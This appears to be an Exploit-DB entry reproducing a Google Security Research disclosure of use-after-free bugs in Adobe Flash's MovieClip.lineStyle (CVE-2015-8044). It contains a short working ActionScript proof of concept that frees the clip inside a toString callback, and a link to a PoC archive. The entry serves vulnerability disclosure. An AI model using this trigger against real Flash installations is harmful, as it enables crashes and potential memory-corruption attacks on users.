Adobe Flash MovieClip.lineStyle - Use-After-Frees

Author: Google Security Research
type: dos
platform: windows
port: 
date_added: 2015-12-17  
date_updated: 2015-12-17  
verified: 1  
codes: CVE-2015-8044;OSVDB-130014  
tags:   
aliases:   
screenshot_url:   
application_url:   

raw file: 39021.txt  
Source: https://code.google.com/p/google-security-research/issues/detail?id=558

There are a number of use-after-frees in MovieClip.lineStyle. If any of the String parameters are an object with toString defined, the toString method can delete the MovieClip, which is subsequently used. A PoC is as follows:

this.createEmptyMovieClip("triangle_mc", this.getNextHighestDepth());
var o = {toString: func};
triangle_mc.lineStyle(5, 0xff00ff, 100, true, o, "round", "miter", 1);

function func(){

	triangle_mc.removeMovieClip();
	return "none";

	}

A sample swf and fla are attached.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39021.zip